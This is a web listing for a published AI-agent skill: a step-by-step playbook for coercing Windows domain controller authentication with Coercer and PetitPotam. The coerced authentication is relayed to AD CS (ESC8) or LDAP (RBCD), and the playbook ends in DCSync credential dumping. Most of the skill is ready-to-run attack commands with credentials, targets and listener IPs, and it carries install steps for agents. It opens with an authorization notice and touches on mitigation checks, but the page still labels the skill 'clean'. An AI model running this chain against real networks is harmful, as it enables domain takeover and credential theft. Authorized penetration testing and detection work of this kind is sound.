coercing-authentication-with-coercer-petitpotam skill

by mukul975·mukul975/Anthropic-Cybersecurity-Skills·34k stars·Apache-2.0

Trigger machine account authentication with PetitPotam (MS-EFSR) and Coercer (MS-RPRN, MS-DFSNM, MS-FSRVP, MS-EVEN) via Coercer's scan/coerce/fuzz modes, feeding the coerced NTLM auth into a relay against AD CS Web Enrollment (ESC8), LDAP (RBCD), or SMB. Use in authorized engagements to complete a coercion-relay chain against a Domain Controller, or to validate coercion detections and signing/EPA mitigations.

A100/100content scan

Is the coercing-authentication-with-coercer-petitpotam skill safe?

Clean: nothing in its files matched our rules. We read 5 files in the folder on 2026-09-28.

No findings.

Install the coercing-authentication-with-coercer-petitpotam skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git /tmp/Anthropic-Cybersecurity-Skills
mkdir -p ~/.claude/skills
cp -r /tmp/Anthropic-Cybersecurity-Skills/skills/coercing-authentication-with-coercer-petitpotam ~/.claude/skills/coercing-authentication-with-coercer-petitpotam

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

Coercing Authentication with Coercer and PetitPotam

Legal Notice: This skill is for authorized security testing and educational purposes only. Authentication coercion combined with NTLM relay can yield domain compromise. Use only against systems you own or have explicit written authorization to test. Unauthorized use is illegal.

Overview

Many Windows RPC interfaces expose methods that take a UNC path and cause the receiving server to authenticate to that path using its machine account. An attacker who can reach these interfaces can force a target (commonly a Domain Controller) to authenticate to an attacker-controlled host. On its own this is "Forced Authentication"; combined with an NTLM relay, the coerced machine credential is relayed to a service that does not enforce signing/EPA, most famously AD CS Web Enrollment (ESC8), yielding a certificate for the Domain Controller and ultimately domain compromise.

PetitPotam (Gilles Lionel / topotam) abuses the MS-EFSR (Encrypting File System Remote Protocol) EfsRpcOpenFileRaw / EfsRpcEncryptFileSrv methods. Coercer (p0dalirius) generalizes the technique: it is a Python tool that automatically coerces a Windows server to authenticate to an arbitrary machine through 12 methods spanning multiple protocols — MS-EFSR (PetitPotam), MS-RPRN (PrinterBug/SpoolSample), MS-DFSNM (DFSCoerce), MS-FSRVP (ShadowCoerce), MS-EVEN, and more. Coercer operates in three modes: scan (probe which RPC methods are reachable/coercible), coerce (trigger authentication), and fuzz (research path variations). Sources: p0dalirius/Coercer, topotam/PetitPotam, The Hacker Recipes — Forced Authentications.

When to Use

To complete an ESC8/ESC11 chain by forcing a DC to authenticate to a relay
To trigger machine authentication for NTLM relay to LDAP (RBCD) or SMB
When a relay target is identified but no inbound authentication is occurring naturally
During detection engineering to generate coercion telemetry for blue-team tuning
To validate that DCs/servers are patched and that relay mitigations (signing/EPA) hold

Prerequisites

Authorized scope including coercion and NTLM relay techniques
Valid (often low-privileged) domain credentials; some methods work unauthenticated against unpatched hosts
A relay listener (Certipy relay or Impacket ntlmrelayx) on a reachable host
Network reachability to the target's RPC endpoints (135 + dynamic, 445)
Linux attack host with Python 3.8+; install the tools:

# Coercer
  pipx install coercer        # or: sudo python3 -m pip install coercer
  coercer --help
  # PetitPotam (source)
  git clone https://github.com/topotam/PetitPotam
  # Impacket (provides ntlmrelayx, dFSCoerce etc.)
  pipx install impacket

Objectives

Identify which RPC coercion methods a target exposes (scan mode)
Stand up an NTLM relay pointed at a vulnerable service (e.g., AD CS web enrollment)
Coerce the target machine account to authenticate to the relay
Obtain a relayed artifact (DC certificate via ESC8, RBCD write via LDAP)
Document coercible methods and recommend patching/mitigations

MITRE ATT&CK Mapping

Chained techniques: T1557.001 (LLMNR/NBT-NS Poisoning and SMB/NTLM Relay) and T1649 (Steal or Forge Authentication Certificates) when relayed into AD CS.

Workflow

Step 1: Scan the target for coercible methods

Use Coercer's scan mode to enumerate which RPC methods on the target can be leveraged. This identifies the best coercion vector without firing a full attack.

coercer scan -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50

-t is the target (e.g., the DC), -l is the listener IP that should receive the coerced authentication.

Step 2: Stand up the relay (ESC8 example)

In a separate terminal, start the relay aimed at AD CS web enrollment so any relayed DC authentication yields a DomainController certificate.

# Certipy relay into HTTP web enrollment (ESC8)
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'

# Alternative: Impacket ntlmrelayx
impacket-ntlmrelayx -t http://CA.CORP.LOCAL/certsrv/certfnsh.asp \
    -smb2support --adcs --template DomainController

Step 3: Coerce authentication with Coercer

Trigger the target machine account to authenticate to the relay/listener. --always-continue tries every method until one succeeds.

coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50 --always-continue

To use a single specific method (quieter), filter by method name:

coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50 --filter-method-name PetitPotam

Step 4: Coerce with PetitPotam directly (MS-EFSR)

PetitPotam is the canonical MS-EFSR coercion and works unauthenticated against unpatched DCs. Syntax: petitpotam.py .

# Unauthenticated attempt
python3 PetitPotam.py 10.0.0.50 10.0.0.10
# Authenticated (more reliable on patched-but-vulnerable hosts)
python3 PetitPotam.py -u attacker -p 'Passw0rd!' -d corp.local 10.0.0.50 10.0.0.10

Step 5: Use the relayed result

For ESC8, the relay writes a DC certificate (dc.pfx). Authenticate as the DC and DCSync.

certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100
# Then DCSync with the recovered DC credential
impacket-secretsdump -k -no-pass 'corp.local/dc$@dc.corp.local' -just-dc

Step 6: Relay to LDAP for RBCD (alternative chain)

If ESC8 is unavailable, relay coerced auth to LDAP to configure Resource-Based Constrained Delegation.

# Relay to LDAP and delegate to attacker-controlled computer account
impacket-ntlmrelayx -t ldap://dc.corp.local --delegate-access \
    --escalate-user 'attacker$' -smb2support
# Then coerce as in Step 3

Step 7: Fuzz mode for unpatched-path discovery (research)

Fuzz mode varies UNC paths to find coercion paths bypassing partial patches.

coercer fuzz -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50

Tools and Resources

Coercion Method Reference

Validation Criteria

[ ] Coercer scan identified at least one reachable coercion method on the target
[ ] Relay listener stood up against a confirmed vulnerable service
[ ] Target machine account successfully coerced to authenticate to the listener
[ ] Relayed artifact obtained (DC certificate, RBCD write, or SMB exec)
[ ] (ESC8) DC certificate used to authenticate and DCSync demonstrated
[ ] Coercible methods documented with affected host and patch recommendation
[ ] Relay mitigations (SMB/LDAP signing, EPA, RPC filters) validated or flagged

More skills from mukul975/Anthropic-Cybersecurity-Skills

Aabusing-dpapi-for-credential-accessExtract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
Aabusing-shadow-credentials-for-privescTake over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
Aachieving-cmmc-level-2-compliancePrepare a defense-contractor environment for CMMC Level 2 certification: scope CUI and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements across 14 families, compute the SPRS score with the DoD Assessment Methodology, manage a compliant POA&M, and ready the organization for a C3PAO assessment. Use when an organization handles Controlled Unclassified Information (CUI) under a DoD contract, when a contract carries DFARS clause 252.204-7012/7019/7020/7021, when preparing for or responding to a CMMC assessment, when computing or improving an SPRS score, when building a System Security Plan or POA&M for 800-171, or when scoping which systems are in the CUI boundary. Keywords: CMMC, CMMC Level 2, NIST 800-171, SP 800-171 Rev 2, CUI, FCI, SPRS, DFARS 7012, C3PAO, POA&M, System Security Plan, DoD Assessment Methodology, 110 controls, defense industrial base, DIB, FedRAMP equivalency.
Aacquiring-disk-image-with-dd-and-dcflddCreate forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
Aanalyzing-active-directory-acl-abuseDetect dangerous ACL misconfigurations in Active Directory using ldap3
Aanalyzing-android-malware-with-apktoolPerform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.
Danalyzing-api-gateway-access-logs'Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect
Aanalyzing-apt-group-with-mitre-navigatorQuery ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups' TTPs for detection-gap analysis. Use to compare threat-actor technique coverage, find gaps in detection engineering, or produce Navigator visualizations for threat-intel reporting.
Aanalyzing-azure-activity-logs-for-threats'Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query
Aanalyzing-bootkit-and-rootkit-samples'Analyzes bootkit and advanced rootkit malware infecting the Master
Aanalyzing-browser-forensics-with-hindsightParse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user's web activity from a browser profile.
Aanalyzing-campaign-attribution-evidenceSystematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

All agent skills → · MCP servers